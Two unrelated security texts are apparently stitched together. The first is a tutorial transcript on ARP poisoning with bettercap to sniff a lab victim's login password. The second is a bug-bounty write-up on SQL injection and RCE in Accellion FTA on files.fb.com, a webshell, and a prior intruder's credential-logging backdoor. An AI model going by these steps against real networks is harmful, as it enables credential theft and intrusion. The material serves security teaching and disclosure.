Now, before I start getting into bettercap, I will just explain quickly how this network sniffing works, how ARP poisoning works, etc. For that, let me draw for you. So what happens here, I’m gonna use two computers, the Kali what you’ve seen and a Windows 8 machine. These are both virtual machines and they’re both on the same network. So what it essentially means is that we have Internet there. And then I have a router here. I have here my Kali and I have here my victim. So normally the victim communicates with the router directly and then that goes to the Internet.That goal that we want to reach is that this communication goes to Kali and then to the router. Now, bettercap offers different methods to do this. What we are gonna use is ARP poisoning, which means that Kali has a MAC address here. It’s called MAC K, let’s call it this way. He has a MAC V, and this has a MAC R. So these are normal MAC addresses that you already know. When the victim wants to go to the Internet, he has to first send the packets to the router. So what he will ask, he will know the IP address of the router, but he wants to find out what the MAC address for that IP address so that he can send the packet. He will ask the network what is the MAC address for that particular IP address.
Now, what bettercap does is whenever such a request happens, then he will always respond hopefully as the first responder. He always say that my MAC address is for that IP. So whenever the victim or the router or anybody else on this network asks for IP address or asks for the MAC address of an IP address, our attacker with bettercap will always say that my MAC address is related to this IP address. That way, basically, the victim is gonna think that on the network he has to send his packet first here because he will think that this is the router and then bettercap will relay this packet to the router but also when a packet comes back, the router will also think — because he will also request a MAC address – he will also think that Kali or bettercap is the victim. And then Kali will just relay again the packet to the victim. So we basically reached our goal here. Because of this ARP spoofing or ARP poisoning, all packets will cross our Kali machine through bettercap and then from this point on, basically bettercap is able to do whatever he wants with those packets. Bettercap also offers different tools to do different things with the traffic, but what we’re gonna try is just to look at the traffic find valuable information like passwords. So I hope that’s clear now, and I will just move on to working with bettercap and see how we can actually do a man in the middle attack.
So let’s look at our target first or our victim. So what I’m gonna try to do is to try to intercept the traffic of this victim. We are gonna try to intercept the HTTP traffic to a particular website is cheezburger.com. I chose this website mostly because I don’t use tis application. So we can login here. I will just do it first as a normal user, and then we will try to intercept that again with bettercap. So the user is [email protected]. This is my old website. Okay, you see I successfully logged in. Now we’re gonna try to intercept the same thing with bettercap. So I’ll log out, even close my browser.
So now what we have to do is to come back to Kali and start bettercap with the proper configuration to do the spoofing for us. So first we need bettercap. And then we want to sniff the network so we use the sniffer. And then as I said, you can use different techniques for spoofing. The default is the ARP spoofing, but I will specify it here anyway so you just have it on the comment line. And since we are gonna work with HTTP and HTTPS traffic probably, I will use the HTTP and HTTPS proxies offered by bettercap. And for that, you say proxy http and minus minus proxy https. And there are different parsers in bettercap. What I’m gonna use now is the custom parser. And I will look for something like “password” in the traffic. And then we hope that the password for Cheezburger.com is gonna be called by bettercap.
So let’s start the sniffing. What you see here is that bettercap started. First it tries to figure out the targets on the networks so which one is the gateway, which one’s on the other machine on the network so that he can spoof these machines on the network. Because we chose the HTTPS proxy, it will also generate a certificate for itself to try to avoid recognition. Of course, this is not a real valid Google.com certificate. It’s a fake, but it could be useful. So let’s go back to the victim’s machine. Let’s load Cheezburger. Now you see there are already lots of things happening here. You see all this content because that’s HTTP and that’s what we are looking for. You can also see that it’s from many different places. The thing is that the website is just full of different content from different websites so that’s why the requests go to basically everywhere all around the Internet and not only to Cheezburger.com.
Let’s try to login. So the user is [email protected]. Okay, and I will just quickly change back to Kali. Again, lots of things happened. Let’s just try to find our password. This looks interesting. This is a GET request to the LoginOrRegister service. And if you look through for the password, whatever, whatever, oh, here is, this is the e-mail address. So this is username. And oh, what we can see here is the password, and this is actually the password I used. So it worked out. Of course, you know, you have to really look at the traffic. Scroll here, scroll there, but it worked.
Another thing that I would like to mention is that originally I actually wanted to spoof HTTPS traffic, and I started to play with Cheezburger. And it turned out that it uses just HTTP so this password is not even encrypted on the network which is general bad. But yeah, it’s Cheezburger.com so I didn’t have really high expectations. But the point is that our network spoofing was successful. We were able to attract all traffic between the router and the victim computer to Kali, to bettercap. We were able to actually sniff the password of the user during the login. So that’s very good. That was our goal.
One really important thing is that when you close bettercap, you need to gracefully exit which is implemented when you do Ctrl+C because the thing is that ARP poisoning is actually poisoning the ARP cache of the other computers so before you exit, you have to change back the MAC addresses of their caches to the original one. Otherwise, the network will just die for some time until they figure out that the MAC address in the cache is wrong and then request for new MAC addresses. So it’s always important if you do ARP poisoning that you gracefully exit from the tool.
Another thing that I would like to mention is that bettercap is trying to be extensible. So
if you come here to the library and you look around a little bit, then you will see everything that you could use is here and you can start implementing your old things. You can start to implement your own proxy to do like portable things with the request like change the content of the request or change the content of the response automatically so then you don’t have to like look in the logs to find the password. You can just done the password for yourself automatically or you can manipulate every response so that the user sees something else. So there are lots of possibilities here. And I think @evilsocket, the guy who writes bettercap, he did a really good job here. So if you find this interesting, you can start playing with bettercap as well. If you do something cool like write your own proxy tool or any kind of extension, then let me know or comment here so that everybody knows that there’s something new here. Or if you discover something interesting, also just comment on this post. That’s it. I was Geri Revay from Aether Security Labs and take care. Keep hacking. Ciao.
As a pentester, I love server-side vulnerabilities more than client-side ones. Why? Because it’s way much cooler to take over the server directly and gain system SHELL privileges. <( ̄︶ ̄)>
Of course, both vulnerabilities from the server-side and the client-side are indispensable in a perfect penetration test. Sometimes, in order to take over the server more elegantly, it also need some client-side vulnerabilities to do the trick. But speaking of finding vulnerabilities, I prefer to find server-side vulnerabilities first.
With the growing popularity of Facebook around the world, I’ve always been interested in testing the security of Facebook. Luckily, in 2012, Facebook launched the Bug Bounty Program, which even motivated me to give it a shot.
From a pentester’s view, I tend to start from recon and do some research. First, I’ll determine how large is the “territory” of the company on the internet, then…try to find a nice entrance to get in, for example:
What can I find by Google Hacking?
How many B Class IP addresses are used? How many C Class IPs?
Whois? Reverse Whois?
What domain names are used? What are their internal domain names? Then proceed with enumerating sub-domains
What are their preferred techniques and equipment vendors?
Any data breach on Github or Pastebin?
…etc
Of course, Bug Bounty is nothing about firing random attacks without restrictions. By comparing your findings with the permitted actions set forth by Bug Bounty, the overlapping part will be the part worth trying.
Here I’d like to explain some common security problems found in large corporations during pentesting by giving an example.
For most enterprises, “Network Boundary” is a rather difficult part to take care of. When the scale of a company has grown large, there are tens of thousands of routers, servers, computers for the MIS to handle, it’s impossible to build up a perfect mechanism of protection. Security attacks can only be defended with general rules, but a successful attack only needs a tiny weak spot. That’s why luck is often on the attacker’s side: a vulnerable server on the “border” is enough to grant a ticket to the internal network!
Lack of awareness in “Networking Equipment” protection. Most networking equipment doesn’t offer delicate SHELL controls and can only be configured on the user interface. Oftentimes the protection of these devices is built on the Network Layer. However, users might not even notice if these devices were compromised by 0-Day or 1-Day attacks.
Security of people: now we have witnessed the emergence of the “Breached Database” (aka “Social Engineering Database” in China), these leaked data sometimes makes the penetration difficulty incredibly low. Just connect to the breach database, find a user credential with VPN access…then voilà! You can proceed with penetrating the internal network. This is especially true when the scope of the data breach is so huge that the Key Man’s password can be found in the breached data. If this happens, then the security of the victim company will become nothing. :P
For sure, when looking for the vulnerabilities on Facebook, I followed the thinking of the penetration tests which I was used to. When I was doing some recon and research, not only did I look up the domain names of Facebook itself, but also tried Reverse Whois. And to my surprise, I found an INTERESTING domain name:
tfbnw.net
TFBNW seemed to stand for “TheFacebook Network”
Then I found bellow server through public data
vpn.tfbnw.net
WOW. When I accessed vpn.tfbnw.net there’s the Juniper SSL VPN login interface. But its version seemed to be quite new and there was no vulnerability can be directly exploited…nevertheless, it brought up the beginning of the following story.
It looked like TFBNW was an internal domain name for Facebook. Let’s try to enumerate the C Class IPs of vpn.tfbnw.net and found some interesting servers, for example:
Mail Server Outlook Web App
F5 BIGIP SSL VPN
CISCO ASA SSL VPN
Oracle E-Business
MobileIron MDM
From the info of these servers, I thought that these C Class IPs were relatively important for Facebook. Now, the whole story officially starts here.
Vulnerability Discovery
I found a special server among these C Class IPs.
files.fb.com
↑ Login Interface of files.fb.com
Judging from the LOGO and Footer, this seems to be Accellion’s Secure File Transfer (hereafter known as FTA)
FTA is a product which enables secure file transfer, online file sharing and syncing, as well as integration with Single Sign-on mechanisms including AD, LDAP and Kerberos. The Enterprise version even supports SSL VPN service.
Upon seeing this, the first thing I did was searching for publicized exploits on the internet. The latest one was found by HD Moore and made public on this Rapid7’s Advisory
Whether this vulnerability is exploitable can be determined by the version information leaked from “/tws/getStatus”. At the time I discovered files.fb.com the defective v0.18 has already been updated to v0.20. But from the fragments of source code mentioned in the Advisory, I felt that with such coding style there should still be security issues remained in FTA if I kept looking. Therefore, I began to look for 0-Day vulnerabilities on FTA products!
Actually, from black-box testing, I didn’t find any possible vulnerabilities, and I had to try white-box testing. After gathering the source codes of previous versions FTA from several resources I could finally proceed with my research!
The FTA Product
Web-based user interfaces were mainly composed of Perl & PHP
The PHP source codes were encrypted by IonCube
Lots of Perl Daemons in the background
First I tried to decrypt IonCube encryption. In order to avoid being reviewed by the hackers, a lot of network equipment vendors will encrypt their product source codes. Fortunately, the IonCube version used by FTA was not up to date and could be decrypted with ready-made tools. But I still had to fix some details, or it’s gonna be messy…
After a simple review, I thought Rapid7 should have already got the easier vulnerabilities. T^T
And the vulnerabilities which needed to be triggered were not easy to exploit. Therefore I need to look deeper!
Finally, I found 7 vulnerabilities, including
Cross-Site Scripting x 3
Pre-Auth SQL Injection leads to Remote Code Execution
Known-Secret-Key leads to Remote Code Execution
Local Privilege Escalation x 2
Apart from reporting to Facebook Security Team, other vulnerabilities were submitted to Accellion Support Team in Advisory for their reference. After vendor patched, I also sent these to CERT/CC and they assigned 4 CVEs for these vulnerabilities.
CVE-2016-2350
CVE-2016-2351
CVE-2016-2352
CVE-2016-2353
More details will be published after full disclosure policy!
↑ Using Pre-Auth SQL Injection to Write Webshell
After taking control of the server successfully, the first thing is to check whether the server environment is friendly to you. To stay on the server longer, you have to be familiar with the environments, restrictions, logs, etc and try hard not to be detected. :P
There are some restrictions on the server:
Firewall outbound connection unavailable, including TCP, UDP, port 53, 80 and 443
Remote Syslog server
Auditd logs enabled
Although the outbound connection was not available, but it looked like ICMP Tunnel was working. Nevertheless, this was only a Bug Bounty Program, we could simply control the server with a webshell.
Was There Something Strange?
While collecting vulnerability details and evidences for reporting to Facebook, I found some strange things on web log.
First of all I found some strange PHP error messages in “/var/opt/apache/php_error_log”
These error messages seemed to be caused by modifying codes online?
↑ PHP error log
I followed the PHP paths in error messages and ended up with discovering suspicious WEBSHELL files left by previous “visitors”.
The first few ones were typical PHP one-line backdoor and there’s one exception: “sclient_user_class_standard.inc”
In include_once “sclient_user_class_standard.inc.orig” was the original PHP app for password verification, and the hacker created a proxy in between to log GET, POST, COOKIE values while some important operations were under way.
A brief summary, the hacker created a proxy on the credential page to log the credentials of Facebook employees. These logged passwords were stored under web directory for the hacker to use WGET every once in a while
From this info we can see that apart from the logged credentials there were also contents of letters requesting files from FTA, and these logged credentials were rotated regularly (this will be mentioned later, that’s kinda cheap…XD)
And at the time I discovered these, there were around 300 logged credentials dated between February 1st to 7th, from February 1st, mostly “@fb.com” and “@facebook.com”. Upon seeing it I thought it’s a pretty serious security incident. In FTA, there were mainly two modes for user login
Regular users sign up: their password hash were stored in the database and hashed encrypted with SHA256+SALT
All Facebook employees (@fb.com) used LDAP and authenticated by AD Server
I believe these logged credentials were real passwords and I GUESS they can access to services such as Mail OWA, VPN for advanced penetration…
In addition, this hacker might be careless:P
The backdoor parameters were passed through GET method and his footprinting can be identified easily in from web log
When the hacker was sending out commands, he didn’t take care of STDERR, and left a lot of command error messages in web log which the hacker’s operations could be seen
From access.log, every few days the hacker will clear all the credentials he logged
Packing files
Enumerating internal network architecture
Use ShellScript to scan internal network but forgot to redirect STDERR XD
Attempt to connect internal LDAP server
Attempt to access internal server
(Looked like Mail OWA could be accessed directly…)
Attempt to steal SSL Private Key
After checking the browser, the SSL certificate of files.fb.com was *.fb.com …
Epilogue
After adequate proofs had been collected, they were immediately reported to Facebook Security Team. Other than vulnerability details accompanying logs, screenshots and timelines were also submitted xD
Also, from the log on the server, there were two periods that the system was obviously operated by the hacker, one in the beginning of July and one in mid-September
the July one seemed to be a server “dorking” and the September one seemed more vicious. Other than server “dorking” keyloggers were also implemented. As for the identities of these two hackers, were they the same person? Your guess is as good as mine. :P
The time July incident happened to take place right before the announcement of CVE-2015-2857 exploit. Whether it was an invasion of 1-day exploitation or unknown 0-day ones were left in question.
Here’s the end of the story, and, generally speaking, it was a rather interesting experience xD
Thanks to this event, it inspired me to write some articles about penetration :P
Last but not least, I would like to thank Bug Bounty and tolerant Facebook Security Team so that I could fully write down this incident : )
Timeline
2016/02/05 20:05 Provide vulnerability details to Facebook Security Team
2016/02/05 20:08 Receive automatic response
2016/02/06 05:21 Submit vulnerability Advisory to Accellion Support Team
2016/02/06 07:42 Receive response from Thomas that inspection is in progress
2016/02/13 07:43 Receive response from Reginaldo about receiving Bug Bounty award $10000 USD
2016/02/13 Asking if there anything I should pay special attention to in blog post ?
2016/02/13 Asking Is this vulnerability be classify as a RCE or SQL Injection ?
2016/02/18 Receive response from Reginaldo about there is a forensics investigation, Would you be able to hold your blog post until this process is complete?
2016/02/24 Receive response from Hai about the bounty will include in March payments cycle.
2016/04/20 Receive response from Reginaldo about the forensics investigation is done